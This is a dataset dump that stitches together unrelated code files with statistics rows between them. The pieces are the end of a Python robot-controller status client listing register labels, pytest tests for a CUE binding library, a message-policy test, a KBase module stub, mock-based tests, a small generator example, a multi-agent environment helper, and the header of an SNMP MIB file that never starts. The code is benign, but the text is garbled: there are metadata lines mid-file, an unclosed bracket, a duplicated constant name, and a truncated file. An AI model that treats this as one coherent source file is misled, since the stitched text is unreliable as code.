= "u212" # 0x1B50 intval[212] U213 = "u213" # 0x1B54 intval[213] U214 = "u214" # 0x1B58 intval[214] U215 = "u215" # 0x1B5C intval[215] U216 = "u216" # 0x1B60 intval[216] U217 = "u217" # 0x1B64 intval[217] U218 = "u218" # 0x1B68 intval[218] U219 = "u219" # 0x1B6C intval[219] U220 = "u220" # 0x1B70 intval[220] U221 = "u221" # 0x1B74 intval[221] U222 = "u222" # 0x1B78 intval[222] U223 = "u223" # 0x1B7C intval[223] U224 = "u224" # 0x1B80 intval[224] U225 = "u225" # 0x1B84 intval[225] U226 = "u226" # 0x1B88 intval[226] U227 = "u227" # 0x1B8C intval[227] U228 = "u228" # 0x1B90 intval[228] U229 = "u229" # 0x1B94 intval[229] U230 = "u230" # 0x1B98 intval[230] U231 = "u231" # 0x1B9C intval[231] U232 = "u232" # 0x1BA0 intval[232] U233 = "u233" # 0x1BA4 intval[233] U234 = "u234" # 0x1BA8 intval[234] U235 = "u235" # 0x1BAC intval[235] U236 = "u236" # 0x1BB0 intval[236] U237 = "u237" # 0x1BB4 intval[237] U238 = "u238" # 0x1BB8 intval[238] U239 = "u239" # 0x1BBC intval[239] U240 = "u240" # 0x1BC0 intval[240] U241 = "u241" # 0x1BC4 intval[241] U242 = "u242" # 0x1BC8 intval[242] U243 = "u243" # 0x1BCC intval[243] U244 = "u244" # 0x1BD0 intval[244] U245 = "u245" # 0x1BD4 intval[245] U246 = "u246" # 0x1BD8 intval[246] U247 = "u247" # 0x1BDC intval[247] U248 = "u248" # 0x1BE0 intval[248] U249 = "u249" # 0x1BE4 intval[249] U250 = "u250" # 0x1BE8 intval[250] U251 = "u251" # 0x1BEC intval[251] U252 = "u252" # 0x1BF0 intval[252] U253 = "u253" # 0x1BF4 intval[253] U254 = "u254" # 0x1BF8 intval[254] U255 = "u255" # 0x1BFC intval[255] M300 = "m300" # 0x1C00 floatval[0] M301 = "m301" # 0x1C08 floatval[1] M302 = "m302" # 0x1C10 floatval[2] M303 = "m303" # 0x1C18 floatval[3] M304 = "m304" # 0x1C20 floatval[4] M305 = "m305" # 0x1C28 floatval[5] M306 = "m306" # 0x1C30 floatval[6] M307 = "m307" # 0x1C38 floatval[7] M308 = "m308" # 0x1C40 floatval[8] M309 = "m309" # 0x1C48 floatval[9] M310 = "m310" # 0x1C50 floatval[10] M311 = "m311" # 0x1C58 floatval[11] M312 = "m312" # 0x1C60 floatval[12] M313 = "m313" # 0x1C68 floatval[13] M314 = "m314" # 0x1C70 floatval[14] M315 = "m315" # 0x1C78 floatval[15] M316 = "m316" # 0x1C80 floatval[16] M317 = "m317" # 0x1C88 floatval[17] M318 = "m318" # 0x1C90 floatval[18] M319 = "m319" # 0x1C98 floatval[19] M320 = "m320" # 0x1CA0 floatval[20] M321 = "m321" # 0x1CA8 floatval[21] M322 = "m322" # 0x1CB0 floatval[22] M323 = "m323" # 0x1CB8 floatval[23] M324 = "m324" # 0x1CC0 floatval[24] M325 = "m325" # 0x1CC8 floatval[25] M326 = "m326" # 0x1CD0 floatval[26] M327 = "m327" # 0x1CD8 floatval[27] M328 = "m328" # 0x1CE0 floatval[28] M329 = "m329" # 0x1CE8 floatval[29] M330 = "m330" # 0x1CF0 floatval[30] M331 = "m331" # 0x1CF8 floatval[31] M332 = "m332" # 0x1D00 floatval[32] M333 = "m333" # 0x1D08 floatval[33] M334 = "m334" # 0x1D10 floatval[34] M335 = "m335" # 0x1D18 floatval[35] M336 = "m336" # 0x1D20 floatval[36] M337 = "m337" # 0x1D28 floatval[37] M338 = "m338" # 0x1D30 floatval[38] M339 = "m339" # 0x1D38 floatval[39] M340 = "m340" # 0x1D40 floatval[40] M341 = "m341" # 0x1D48 floatval[41] M342 = "m342" # 0x1D50 floatval[42] M343 = "m343" # 0x1D58 floatval[43] M344 = "m344" # 0x1D60 floatval[44] M345 = "m345" # 0x1D68 floatval[45] M346 = "m346" # 0x1D70 floatval[46] M347 = "m347" # 0x1D78 floatval[47] M348 = "m348" # 0x1D80 floatval[48] M349 = "m349" # 0x1D88 floatval[49] M350 = "m350" # 0x1D90 floatval[50] M351 = "m351" # 0x1D98 floatval[51] M352 = "m352" # 0x1DA0 floatval[52] M353 = "m353" # 0x1DA8 floatval[53] M354 = "m354" # 0x1DB0 floatval[54] M355 = "m355" # 0x1DB8 floatval[55] M356 = "m356" # 0x1DC0 floatval[56] M357 = "m357" # 0x1DC8 floatval[57] M358 = "m358" # 0x1DD0 floatval[58] M359 = "m359" # 0x1DD8 floatval[59] M360 = "m360" # 0x1DE0 floatval[60] M361 = "m361" # 0x1DE8 floatval[61] M362 = "m362" # 0x1DF0 floatval[62] M363 = "m363" # 0x1DF8 floatval[63] M364 = "m364" # 0x1E00 floatval[64] M365 = "m365" # 0x1E08 floatval[65] M366 = "m366" # 0x1E10 floatval[66] M367 = "m367" # 0x1E18 floatval[67] M368 = "m368" # 0x1E20 floatval[68] M369 = "m369" # 0x1E28 floatval[69] M370 = "m370" # 0x1E30 floatval[70] M371 = "m371" # 0x1E38 floatval[71] M372 = "m372" # 0x1E40 floatval[72] M373 = "m373" # 0x1E48 floatval[73] M374 = "m374" # 0x1E50 floatval[74] M375 = "m375" # 0x1E58 floatval[75] M376 = "m376" # 0x1E60 floatval[76] M377 = "m377" # 0x1E68 floatval[77] M378 = "m378" # 0x1E70 floatval[78] M379 = "m379" # 0x1E78 floatval[79] M380 = "m380" # 0x1E80 floatval[80] M381 = "m381" # 0x1E88 floatval[81] M382 = "m382" # 0x1E90 floatval[82] M383 = "m383" # 0x1E98 floatval[83] M384 = "m384" # 0x1EA0 floatval[84] M385 = "m385" # 0x1EA8 floatval[85] M386 = "m386" # 0x1EB0 floatval[86] M387 = "m387" # 0x1EB8 floatval[87] M388 = "m388" # 0x1EC0 floatval[88] M389 = "m389" # 0x1EC8 floatval[89] M390 = "m390" # 0x1ED0 floatval[90] M391 = "m391" # 0x1ED8 floatval[91] M392 = "m392" # 0x1EE0 floatval[92] M393 = "m393" # 0x1EE8 floatval[93] M394 = "m394" # 0x1EF0 floatval[94] M395 = "m395" # 0x1EF8 floatval[95] M396 = "m396" # 0x1F00 floatval[96] M397 = "m397" # 0x1F08 floatval[97] M398 = "m398" # 0x1F10 floatval[98] M399 = "m399" # 0x1F18 floatval[99] M400 = "m400" # 0x1F20 floatval[100] M401 = "m401" # 0x1F28 floatval[101] M402 = "m402" # 0x1F30 floatval[102] M403 = "m403" # 0x1F38 floatval[103] M404 = "m404" # 0x1F40 floatval[104] M405 = "m405" # 0x1F48 floatval[105] M406 = "m406" # 0x1F50 floatval[106] M407 = "m407" # 0x1F58 floatval[107] M408 = "m408" # 0x1F60 floatval[108] M409 = "m409" # 0x1F68 floatval[109] M410 = "m410" # 0x1F70 floatval[110] M411 = "m411" # 0x1F78 floatval[111] M412 = "m412" # 0x1F80 floatval[112] M413 = "m413" # 0x1F88 floatval[113] M414 = "m414" # 0x1F90 floatval[114] M415 = "m415" # 0x1F98 floatval[115] M416 = "m416" # 0x1FA0 floatval[116] M417 = "m417" # 0x1FA8 floatval[117] M418 = "m418" # 0x1FB0 floatval[118] M419 = "m419" # 0x1FB8 floatval[119] M420 = "m420" # 0x1FC0 floatval[120] M421 = "m421" # 0x1FC8 floatval[121] M422 = "m422" # 0x1FD0 floatval[122] M423 = "m423" # 0x1FD8 floatval[123] M424 = "m424" # 0x1FE0 floatval[124] M425 = "m425" # 0x1FE8 floatval[125] M426 = "m426" # 0x1FF0 floatval[126] M427 = "m427" # 0x1FF8 floatval[127] M428 = "m428" # 0x2000 floatval[128] M429 = "m429" # 0x2008 floatval[129] M430 = "m430" # 0x2010 floatval[130] M431 = "m431" # 0x2018 floatval[131] M432 = "m432" # 0x2020 floatval[132] M433 = "m433" # 0x2028 floatval[133] M434 = "m434" # 0x2030 floatval[134] M435 = "m435" # 0x2038 floatval[135] M436 = "m436" # 0x2040 floatval[136] M437 = "m437" # 0x2048 floatval[137] M438 = "m438" # 0x2050 floatval[138] M439 = "m439" # 0x2058 floatval[139] M440 = "m440" # 0x2060 floatval[140] M441 = "m441" # 0x2068 floatval[141] M442 = "m442" # 0x2070 floatval[142] M443 = "m443" # 0x2078 floatval[143] M444 = "m444" # 0x2080 floatval[144] M445 = "m445" # 0x2088 floatval[145] M446 = "m446" # 0x2090 floatval[146] M447 = "m447" # 0x2098 floatval[147] M448 = "m448" # 0x20A0 floatval[148] M449 = "m449" # 0x20A8 floatval[149] M450 = "m450" # 0x20B0 floatval[150] M451 = "m451" # 0x20B8 floatval[151] M452 = "m452" # 0x20C0 floatval[152] M453 = "m453" # 0x20C8 floatval[153] M454 = "m454" # 0x20D0 floatval[154] M455 = "m455" # 0x20D8 floatval[155] M456 = "m456" # 0x20E0 floatval[156] M457 = "m457" # 0x20E8 floatval[157] M458 = "m458" # 0x20F0 floatval[158] M459 = "m459" # 0x20F8 floatval[159] M460 = "m460" # 0x2100 floatval[160] M461 = "m461" # 0x2108 floatval[161] M462 = "m462" # 0x2110 floatval[162] M463 = "m463" # 0x2118 floatval[163] M464 = "m464" # 0x2120 floatval[164] M465 = "m465" # 0x2128 floatval[165] M466 = "m466" # 0x2130 floatval[166] M467 = "m467" # 0x2138 floatval[167] M468 = "m468" # 0x2140 floatval[168] M469 = "m469" # 0x2148 floatval[169] M470 = "m470" # 0x2150 floatval[170] M471 = "m471" # 0x2158 floatval[171] M472 = "m472" # 0x2160 floatval[172] M473 = "m473" # 0x2168 floatval[173] M474 = "m474" # 0x2170 floatval[174] M475 = "m475" # 0x2178 floatval[175] M476 = "m476" # 0x2180 floatval[176] M477 = "m477" # 0x2188 floatval[177] M478 = "m478" # 0x2190 floatval[178] M479 = "m479" # 0x2198 floatval[179] M480 = "m480" # 0x21A0 floatval[180] M481 = "m481" # 0x21A8 floatval[181] M482 = "m482" # 0x21B0 floatval[182] M483 = "m483" # 0x21B8 floatval[183] M484 = "m484" # 0x21C0 floatval[184 M485 = "m485" # 0x21C8 floatval[185] M486 = "m486" # 0x21D0 floatval[186] M487 = "m487" # 0x21D8 floatval[187] M488 = "m488" # 0x21E0 floatval[188] M489 = "m489" # 0x21E8 floatval[189] M490 = "m490" # 0x21F0 floatval[190] M491 = "m491" # 0x21F8 floatval[191] M492 = "m492" # 0x2200 floatval[192] M493 = "m493" # 0x2208 floatval[193] M494 = "m494" # 0x2210 floatval[194] M495 = "m495" # 0x2218 floatval[195] M496 = "m496" # 0x2220 floatval[196] M497 = "m497" # 0x2228 floatval[197] M498 = "m498" # 0x2230 floatval[198] M499 = "m499" # 0x2238 floatval[199] M500 = "m500" # 0x2240 floatval[200] M501 = "m501" # 0x2248 floatval[201] M502 = "m502" # 0x2250 floatval[202] M503 = "m503" # 0x2258 floatval[203] M504 = "m504" # 0x2260 floatval[204] M505 = "m505" # 0x2268 floatval[205] M506 = "m506" # 0x2270 floatval[206] M507 = "m507" # 0x2278 floatval[207] M508 = "m508" # 0x2280 floatval[208] M509 = "m509" # 0x2288 floatval[209] M510 = "m510" # 0x2290 floatval[210] M511 = "m511" # 0x2298 floatval[211] M512 = "m512" # 0x22A0 floatval[212] M513 = "m513" # 0x22A8 floatval[213] M514 = "m514" # 0x22B0 floatval[214] M515 = "m515" # 0x22B8 floatval[215] M516 = "m516" # 0x22C0 floatval[216] M517 = "m517" # 0x22C8 floatval[217] M518 = "m518" # 0x22D0 floatval[218] M519 = "m519" # 0x22D8 floatval[219] M520 = "m520" # 0x22E0 floatval[220] M521 = "m521" # 0x22E8 floatval[221] M522 = "m522" # 0x22F0 floatval[222] M523 = "m523" # 0x22F8 floatval[223] M524 = "m524" # 0x2300 floatval[224] M525 = "m525" # 0x2308 floatval[225] M526 = "m526" # 0x2310 floatval[226] M527 = "m527" # 0x2318 floatval[227] M528 = "m528" # 0x2320 floatval[228] M529 = "m529" # 0x2328 floatval[229] M530 = "m530" # 0x2330 floatval[230] M531 = "m531" # 0x2338 floatval[231] M532 = "m532" # 0x2340 floatval[232] M533 = "m533" # 0x2348 floatval[233] M534 = "m534" # 0x2350 floatval[234] M535 = "m535" # 0x2358 floatval[235] M536 = "m536" # 0x2360 floatval[236] M537 = "m537" # 0x2368 floatval[237] M538 = "m538" # 0x2370 floatval[238] M539 = "m539" # 0x2378 floatval[239] M540 = "m540" # 0x2380 floatval[240] M541 = "m541" # 0x2388 floatval[241] M542 = "m542" # 0x2390 floatval[242] M543 = "m543" # 0x2398 floatval[243] M544 = "m544" # 0x23A0 floatval[244] M545 = "m545" # 0x23A8 floatval[245] M546 = "m546" # 0x23B0 floatval[246] M547 = "m547" # 0x23B8 floatval[247] M548 = "m548" # 0x23C0 floatval[248] M549 = "m549" # 0x23C8 floatval[249] M550 = "m550" # 0x23D0 floatval[250] M551 = "m551" # 0x23D8 floatval[251] M552 = "m552" # 0x23E0 floatval[252] M553 = "m553" # 0x23E8 floatval[253] M554 = "m554" # 0x23F0 floatval[254] M555 = "m555" # 0x23F8 floatval[255] # Controller state information C000 = "c000" # 0x2800 errcode C001 = "c001" # 0x2802 bTeachMode C002 = "c002" # 0x2804 bSPILargeFrame # Robot configuration information G000 = "g000" # 0x2C00 manip_type[0-35] G001 = "g001" # 0x2C24 manip_serial[0-35] G002 = "g002" # 0x2C48 format_version[0-2] G003 = "g003" # 0x2C54 parameter_version[0-2] # Robot status information R000 = "r000" # 0x3000 cmdx,cmdy,cmdz,cmdrz,cmdry,cmdrx R100 = "r100" # 0x3040 posture R101 = "r101" # 0x3044 coordinate R102 = "r102" # 0x3048 singular R103 = "r103" # 0x304C multiturn R200 = "r200" # 0x3050 joint[0-5] R300 = "r300" # 0x3090 velocity R301 = "r301" # 0x3098 vel_error_axes R302 = "r302" # 0x309C softlimit R303 = "r303" # 0x30A0 joint_svon_to_svoff[0-5] R304 = "r304" # 0x30E0 b_saved R305 = "r305" # 0x30E4 toolno R306 = "r306" # 0x30E8 hdorgx,hdorgy,hdorgz,hdorgrz,hdorgry,hdorgrx R400 = "r400" # 0x3128 carte_svon_to_svoff[0-5] R401 = "r401" # 0x3168 svon_to_svoff_posture R402 = "r402" # 0x316C svon_to_svoff_coordinate R403 = "r403" # 0x3170 svon_to_svoff_singular R404 = "r404" # 0x3174 svon_to_svoff_multiturn R405 = "r405" # 0x3178 svon_to_svoff_toolno R406 = "r406" # 0x317C bRequestHold R407 = "r407" # 0x317E bRequestSuspend R408 = "r408" # 0x3180 bSuspended R409 = "r409" # 0x3184 permitted_worker_id R410 = "r410" # 0x3188 tool_org_params[0-5] R411 = "r411" # 0x31B8 tool_fwdmatrix[0-11] R412 = "r412" # 0x3218 last_hold_factor R413 = "r413" # 0x3219 vdesc0_sts R414 = "r414" # 0x321A vdesc1_sts R415 = "r415" # 0x321B n_queued R416 = "r416" # 0x321C logical_cmd_pulse[0-5] R417 = "r417" # 0x323C logical_fb_pulse[0-5] R418 = "r418" # 0x325C holdinfo R419 = "r419" # 0x3260 svsts R419 = "r419" # 0x3264 manip_pwr R420 = "r420" # 0x3266 ems R421 = "r421" # 0x3268 vdesc0_mvid R422 = "r422" # 0x326C vdesc1_mvid if __name__ == '__main__': c = InfoCatchClient() def callback(data): print(data) c.connect([InfoCatchClient.Label.I000, InfoCatchClient.Label.R200, InfoCatchClient.Label.M000, InfoCatchClient.Label.M001, InfoCatchClient.Label.M100, InfoCatchClient.Label.M102, InfoCatchClient.Label.F000, InfoCatchClient.Label.F200, InfoCatchClient.Label.F300, ]) for x in range(10): data = c.recv() print(data) c.close()
41.876254
99
0.554109
4,538
37,563
4.517629
0.446673
0.029999
0.008878
0.003512
0.027608
0.019999
0.010536
0.010536
0.010536
0.010536
0
0.356235
0.316881
37,563
896
100
41.922991
0.442712
0.434816
0
0.07767
0
0
0.147375
0
0
0
0
0
0
1
0.01335
false
0
0.004854
0.001214
0.029126
0.003641
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
52faf9ee9dd8c96e16c79f2d90387099a923bd12
3,707
py
Python
tests/test_cue.py
philipdexter/pycue
07daeae58602a5d6d00c4bc7abb252da1644f529
[ "Apache-2.0" ]
6
2020-05-07T03:39:50.000Z
2022-02-22T17:36:30.000Z
tests/test_cue.py
philipdexter/pycue
07daeae58602a5d6d00c4bc7abb252da1644f529
[ "Apache-2.0" ]
null
null
null
tests/test_cue.py
philipdexter/pycue
07daeae58602a5d6d00c4bc7abb252da1644f529
[ "Apache-2.0" ]
null
null
null
import pytest import cue def test_basic(): cue.compile('') assert '1' == str(cue.compile('1')) assert ['1', '2', '3', '{\n\ta: 1\n}'] == [str(v) for v in cue.compile('[1,2,3,{a:1}]')] assert [('a', '1'), ('b', '2')] == [(str(k), str(v)) for k, v in cue.compile('{a: 1, b: 2}')] with pytest.raises(cue.CueError): cue.compile('a') v1 = cue.compile('{a: 1}') v2 = cue.compile('{a: 2}') v3 = cue.compile('{a: <3}') assert False == v1.unifies_with(v2) assert True == v1.unifies_with(v3) assert True == v1.unifies_with(v3) assert True == v2.unifies_with(v3) with pytest.raises(ValueError): iter(cue.compile('1')) assert True == cue.compile('null').is_null() assert True == cue.compile('true').is_bool() assert True == cue.compile('1').is_int() assert True == cue.compile('1.0').is_float() assert True == cue.compile(r"'\x03abc'").is_bytes() assert True == cue.compile('"hi"').is_string() assert True == cue.compile('{a:1}').is_struct() assert True == cue.compile('[1,2]').is_list() assert 1 == cue.compile('1').to_int() assert 2 == int(cue.compile('2')) with pytest.raises(ValueError): assert 1 == cue.compile('"hi"').to_int() assert 9223372036854775807 == int(cue.compile("9223372036854775807")) with pytest.raises(cue.CueError): assert 9223372036854775808 == int(cue.compile("9223372036854775808")) assert -9223372036854775807 == int(cue.compile('-9223372036854775807 ')) with pytest.raises(cue.CueError): assert -9223372036854775808 == int(cue.compile('-9223372036854775808 ')) assert 1.0 == cue.compile('1.0').to_float() assert 2.0 == float(cue.compile('2.0')) with pytest.raises(ValueError): assert 1.0 == cue.compile('"hi"').to_int() assert 4.9 == float(cue.compile('1 + 3.9')) assert True == cue.compile('true').to_bool() assert False == bool(cue.compile('false && true')) with pytest.raises(ValueError): assert True == cue.compile('"hi"').to_int() assert "ok" == cue.compile('"ok"').to_string() assert '"okk"' == str(cue.compile('"ok" + "k"')) with pytest.raises(ValueError): assert "ok" == cue.compile('1').to_string() assert {'a': 1, 'b': [{'c': 1}]} == cue.compile('{a: 1, b: [{c: 1}]}').to_dict() assert {} == cue.compile('').to_dict() with pytest.raises(ValueError): assert {} == cue.compile('1').to_dict() assert [1,2,{'a':2,'b':{'c':2}}] == cue.compile('[1,2,{a:2,b:{c:2}}]').to_list() with pytest.raises(ValueError): assert [] == cue.compile('1').to_list() assert True == cue.compile('true').to_python() assert 1 == cue.compile('1').to_python() assert 1.0 == cue.compile('1.0').to_python() assert "hi" == cue.compile('"hi"').to_python() with pytest.raises(ValueError): cue.compile('a: int').to_python() with pytest.raises(ValueError): cue.compile('a: <3').to_python() def test_dumps(): assert '1.0' == cue.dumps(1.0) assert '1' == cue.dumps(1) assert 'true' == cue.dumps(True) assert '"true"' == cue.dumps("true") assert '[1,2,3]' == cue.dumps([1,2,3]) assert '[{a:1},{b:2},{c:[2,"hi"]}]' == cue.dumps([{'a':1},{'b':2},{'c':[2,'hi']}]) def test_loads(): assert 1.0 == cue.loads('1.0') assert 1 == cue.loads('1') assert True == cue.loads('true') assert "true" == cue.loads('"true"') assert [1,2,3] == cue.loads('[1,2,3]') assert [{'a':1},{'b':2},{'c':[2,'hi']}] == cue.loads('[{a:1},{b:2},{c:[2,"hi"]}]') def test_dumps_loads(): ps = [ (1.0, '1.0'), (1, '1'), (True, 'true'), ("true", '"true"'), ([1,2,3], '[1,2,3]'), ([{'a':1},{'b':2},{'c':[2,'hi']}], '[{a:1},{b:2},{c:[2,"hi"]}]'), ] for p, s in ps: assert p == cue.loads(cue.dumps(p)) assert s == cue.dumps(cue.loads(s))
34.971698
95
0.582951
580
3,707
3.663793
0.101724
0.211765
0.077647
0.103529
0.601882
0.470118
0.313412
0.299294
0.253176
0.154353
0
0.090447
0.149987
3,707
105
96
35.304762
0.583942
0
0
0.155556
0
0
0.131948
0.021047
0
0
0
0
0.611111
1
0.044444
false
0
0.022222
0
0.066667
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
52fc7df4b4b16f1ad555d16b6d091a22b3e1319c
751
py
Python
tests/test_Policy.py
christophevg/py-mqfactory
6681fea96efe6985f6dc8631cb96eb48c43146dd
[ "MIT" ]
null
null
null
tests/test_Policy.py
christophevg/py-mqfactory
6681fea96efe6985f6dc8631cb96eb48c43146dd
[ "MIT" ]
4
2020-03-24T16:51:35.000Z
2021-06-01T23:37:00.000Z
tests/test_Policy.py
christophevg/py-mqfactory
6681fea96efe6985f6dc8631cb96eb48c43146dd
[ "MIT" ]
null
null
null
from mqfactory.tools import Policy, Rule, CATCH_ALL def test_empty_policy(): p = Policy() assert p.match({"something": "something"}) == CATCH_ALL assert p.match({}) == CATCH_ALL def test_policy(): p = Policy([ Rule({ "a": 1, "b": 1, "c": 1 }, "a=1,b=1,c=1" ), Rule({ "a": 1, "b": 1, }, "a=1,b=1" ), Rule({ "a": 1, }, "a=1" ), Rule({ "b": 1, }, "b=1" ), ]) assert p.match({"a": 1}).value == "a=1" assert p.match({"b": 1}).value == "b=1" assert p.match({"a": 2, "b": 1, "c": 1}).value == "b=1" assert p.match({"a": 1, "b": 1, "c": 1}).value == "a=1,b=1,c=1" assert p.match({"a": 2, "b": 2, "c": 2}).value is None assert p.match({"d": 1}).value is None
35.761905
65
0.459387
127
751
2.669291
0.188976
0.070796
0.283186
0.070796
0.356932
0.289086
0.227139
0.123894
0
0
0
0.057971
0.26498
751
20
66
37.55
0.556159
0
0
0
0
0
0.107856
0
0
0
0
0
0.444444
1
0.111111
false
0
0.055556
0
0.166667
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
52fe203ea6a382182458a46a4edbd741b0f6208f
919
py
Python
lib/MetaboliteAtlasImpl.py
kbaseIncubator/metabolite_atlas
229edbab6ce05a7d3ebacbc66570d82c9ad28578
[ "MIT" ]
null
null
null
lib/MetaboliteAtlasImpl.py
kbaseIncubator/metabolite_atlas
229edbab6ce05a7d3ebacbc66570d82c9ad28578
[ "MIT" ]
null
null
null
lib/MetaboliteAtlasImpl.py
kbaseIncubator/metabolite_atlas
229edbab6ce05a7d3ebacbc66570d82c9ad28578
[ "MIT" ]
null
null
null
#BEGIN_HEADER #END_HEADER ''' Module Name: MetaboliteAtlas Module Description: A web-based atlas to liquid chromatography–mass spectrometry (LCMS) data ''' class MetaboliteAtlas: #BEGIN_CLASS_HEADER #END_CLASS_HEADER def __init__(self, config): #config contains contents of config file in hash or #None if it couldn't be found #BEGIN_CONSTRUCTOR #END_CONSTRUCTOR pass def loadDictionary(self, params): # self.ctx is set by the wsgi application class # return variables are: output #BEGIN loadDictionary output=[] #END loadDictionary #At some point might do deeper type checking... if not isinstance(output, list): raise ValueError('Method loadDictionary return value output is not type list as required.') # return the results return [ output ]
24.837838
103
0.645267
107
919
5.439252
0.663551
0.030928
0
0
0
0
0
0
0
0
0
0
0.294886
919
36
104
25.527778
0.896605
0.509249
0
0
0
0
0.165888
0
0
0
0
0
0
1
0.25
false
0.125
0
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
5e13ce9974225da3573940cfb2a5a693b633e821
993
py
Python
tests/unit/test_source/test_sourcebase.py
rbogdanoff/reactiveaws
3a4107dd4ade26792f79fecbb4d1e783e4e2580f
[ "Apache-2.0" ]
null
null
null
tests/unit/test_source/test_sourcebase.py
rbogdanoff/reactiveaws
3a4107dd4ade26792f79fecbb4d1e783e4e2580f
[ "Apache-2.0" ]
null
null
null
tests/unit/test_source/test_sourcebase.py
rbogdanoff/reactiveaws
3a4107dd4ade26792f79fecbb4d1e783e4e2580f
[ "Apache-2.0" ]
null
null
null
from nose.tools import * from unittest.mock import patch, Mock from rxaws.source.sourcebase import SourceBase from botocore.client import BaseClient class BaseClient(Mock): """ mock boto BaseClient, won't really do anything""" class TestSourceBase: # inject the mock BaseClient @patch('boto3.client', return_value=(BaseClient())) # mock the get_source_iterable abstractmethod # @patch.multiple(SourceBase, __abstractmethods__=set(), execute=Mock(return_value=[1,2,3])) def setup(self, mock_return_value): # create instance of class under test self.cut_sourcebase = SourceBase() def teardown(self): pass def test_sourcebase_create(self): # when a new SourceBase instance is created # is should contain an aws client assert self.cut_sourcebase.conn is not None assert isinstance(self.cut_sourcebase.conn, BaseClient) is True, \ 'expected BaseClient got: %s' % type(self.cut_sourcebase.conn)
35.464286
95
0.712991
126
993
5.492063
0.52381
0.040462
0.098266
0.09104
0
0
0
0
0
0
0
0.005038
0.200403
993
27
96
36.777778
0.866499
0.321249
0
0
0
0
0.058912
0
0
0
0
0
0.133333
1
0.2
false
0.066667
0.266667
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
5e2225346054d6facdf73eafd32caba7ecf7dd78
342
py
Python
src/taskmaster/example.py
alex/taskmaster
04a03bf0853facf318ce98192db6389cdaaefe3c
[ "Apache-2.0" ]
2
2015-11-08T12:45:38.000Z
2017-06-03T09:16:16.000Z
src/taskmaster/example.py
alex/taskmaster
04a03bf0853facf318ce98192db6389cdaaefe3c
[ "Apache-2.0" ]
null
null
null
src/taskmaster/example.py
alex/taskmaster
04a03bf0853facf318ce98192db6389cdaaefe3c
[ "Apache-2.0" ]
null
null
null
""" taskmaster.example ~~~~~~~~~~~~~~~~~~ :copyright: (c) 2010 DISQUS. :license: Apache License 2.0, see LICENSE for more details. """ def get_jobs(last=0): # last_job would be sent if state was resumed # from a previous run for i in xrange(last, 20000): yield i def handle_job(i): pass # print "Got %r!" % i
17.1
59
0.602339
51
342
3.980392
0.784314
0
0
0
0
0
0
0
0
0
0
0.046154
0.239766
342
19
60
18
0.734615
0.619883
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0.2
0
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
5e2a1a3b81768dc01ada5c03b830c68d66cb3bb2
863
py
Python
p3_collab-compet/envs.py
albimc/deep-reinforcement-learning
e11a6c9d4c8991cf229e686b645ae22ec4cff4f5
[ "MIT" ]
null
null
null
p3_collab-compet/envs.py
albimc/deep-reinforcement-learning
e11a6c9d4c8991cf229e686b645ae22ec4cff4f5
[ "MIT" ]
null
null
null
p3_collab-compet/envs.py
albimc/deep-reinforcement-learning
e11a6c9d4c8991cf229e686b645ae22ec4cff4f5
[ "MIT" ]
null
null
null
from env_wrapper import SubprocVecEnv, DummyVecEnv import numpy as np import multiagent.scenarios as scenarios from multiagent.environment import MultiAgentEnv def make_parallel_env(n_rollout_threads, seed=1): def get_env_fn(rank): def init_env(): env = make_env("simple_adversary") env.seed(seed + rank * 1000) np.random.seed(seed + rank * 1000) return env return init_env # if n_rollout_threads == 1: # return DummyVecEnv([get_env_fn(0)]) # else: return SubprocVecEnv([get_env_fn(i) for i in range(n_rollout_threads)]) def make_env(scenario_name, benchmark=False): scenario = scenarios.load(scenario_name + ".py").Scenario() world = scenario.make_world() env = MultiAgentEnv(world, scenario.reset_world, scenario.reward, scenario.observation) return env
30.821429
91
0.695249
113
863
5.097345
0.415929
0.041667
0.078125
0.055556
0
0
0
0
0
0
0
0.016176
0.212051
863
27
92
31.962963
0.830882
0.090382
0
0.111111
0
0
0.024422
0
0
0
0
0
0
1
0.222222
false
0
0.222222
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
5e2c05aeee32a3c0a0b12b655a2e82559e46b7c9
269,482
py
Python
pysnmp-with-texts/JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
